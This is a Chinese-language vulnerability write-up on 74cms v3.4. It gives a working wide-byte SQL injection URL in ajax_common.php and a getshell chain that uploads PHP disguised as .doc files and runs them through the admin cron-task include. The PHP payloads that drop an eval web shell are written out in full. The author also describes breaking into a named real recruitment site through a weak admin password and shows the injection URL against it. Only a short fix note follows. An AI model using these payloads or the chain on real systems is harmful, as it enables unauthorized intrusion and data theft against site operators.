今天下载了骑士cms的最新版本，由于好久以前一个哥们发了一个后台拿shell的漏洞，还有别人发的一个sql注入的漏洞，一个有意思的渗透测试过程就从这两个地方开始了，成功的拿下了某大型人才网站的服务器，过程算比较艰辛吧，由于附带了对其实cms的漏洞重新分析，并且加入了自己新的利用方法，所以这里提交到了通用漏洞

第一步 我们分析一个老的sql注入问题：

文件job/plus/ajax_common.php:(lines:88-100)
 

{
if (empty($_GET['query']))
{
exit();
}
$gbk_query=trim($_GET['query']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$gbk_query=iconv("utf-8",QISHI_DBCHARSET,$gbk_query);
}

$sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";
$result = $db->query($sql);

iconv 这个函数在做编码转换的时候，会引入特殊字符，我们搭建了测试站点，如下：

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa

让我们请求这个的时候，里面的问题参数query可能存在sql注入，首先我们直接使用单引号

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa'
 

下来我们继续注入宽字节：

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa%8c%27
 

由此可以排除了上面两种情况，下来我们继续测试

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,concat(version(),user()),3%23%27
 

神奇的貌似没有打补丁..........

这里居然引入进来了，不过骑士cms做了过滤，对sql的操作，例如select union之类的做了过滤

但是这个不影响，我不用就可以了，仍然可以通过盲注去猜测表结构,这里直接附带一个站点的测试，当然它没有做更新：

url:http://edc.dky.bjedu.cn/job/plus/ajax_common.php?act=hotword&query=aa%%E9%8C%A6%27%20union%20select%201,concat(version(),user()),3%23%27
 

下来我们在分析另外一个漏洞，之前wooyun有过一个前台xss反射台拿shell的，这里原理一样，只不过我这里利用一个后台两个地方去获取shell，看一下代码：

登陆后台，看到内容底下有个hr工具，如图：
 

我们添加一个doc文件 ，文件的内容就是我们提前准备的shell，我们记录下这个文件的地址为：

data/hrtools/2014/07/1406613408594.doc

里面的内容就是一段小马................

然后我们在到另外一个地方，如图：
 

那么接下来我们分析分析代码，我们的doc文件里面的内容是：
 

<?php
file_put_contents("../data/backup/shell.php","<?php @eval(\$_GET['pass']);?>");
?>

我们看看这

，这个地方有个执行按钮，那么接下来我们分析一下这里执行处的代码：

admin/admin_crons.php:(lines:115-119)
 

if (!empty($crons))
{
if (!file_exists(QISHI_ROOT_PATH."include/crons/".$crons['filename']))
{
adminmsg("任务文件 {$crons['filename']} 不存在！",0);
}
require_once(QISHI_ROOT_PATH."include/crons/".$crons['filename']);
adminmsg("执行成功！",2);
}
}

这里明显就是从刚才那边直接取出来，然后包含执行了，那么我们点击执行，后根据我们doc文件我们会在backup底下生成一个shell.php
 

这里面还有另外一个思路，按照目前的逻辑，我们貌似只能挂一个小马，但是如果挂上去的小马，不能利用或者连接不上怎么办，我们还有另外一种思路，就是直接上大马，那么这个就要利用三处地方，这里我们不在分析，直接看下面渗透测试思路就ok

到这里代码就分析完了，这里全部都是在后台操作的，我们也可以在前台通过上传一个头像，利用xss进行getshell，功夫不负有心人，我们找到一个案例，而且貌似还比较大的网站：

---------------------------------------------------------------

下来我们进行渗透测试：

站点：人才技能网(http://edc.dky.bjedu.cn/)

经过测试后台存在弱口令，我们登陆到了后台
 

我们进来之后，下来我们就是要去重复我上面分析的东西，结果真是巧合所挂的小马，菜刀链接不上，这里我就不演示了，我们直接看另外一个思路

1.如果我们可以再hr工具编辑哪里，连续上传两个doc，一个doc就是我们的大马，另一个doc就是我们的写shell的文件doc，然后我们只要在写shell的doc里面从另外一个大马文件读出来，然后写到backup/shell.php 里面即可:

操作如下：
 

记录上面的两个url：

url1（大马）：data/hrtools/2014/07/1406614082954.doc

url2 （写shell）：data/hrtools/2014/07/1406614108668.doc

写shell的doc，文件内容如下：
 

<?php
$file_path = "../data/hrtools/2014/07/1406614082954.doc";
$content = file_get_contents($file_path);
file_put_contents("../data/backup/shell.php",$content);
?>

然后我们把url2，贴到工具-》的任务计划哪里，如图所示:
 

保存后我们点击执行：

然后我们的大马就生成了，哈哈.................
 

ok到此这个服务器就已经拿下了，这个服务器里面相对东西还是很多的，它不止有骑士cms一个，还有其他几个，例如phpcms，我们通过这个点全部都能那道数据库文件

内网ip：
 

修复方案：

对于骑士cms来说，还是在这里转义一下，后台那还是通过xss 盲打，然后 能构造出来shell的，建议重视并修改

对于这个站点，及时升级，并改掉管理员密码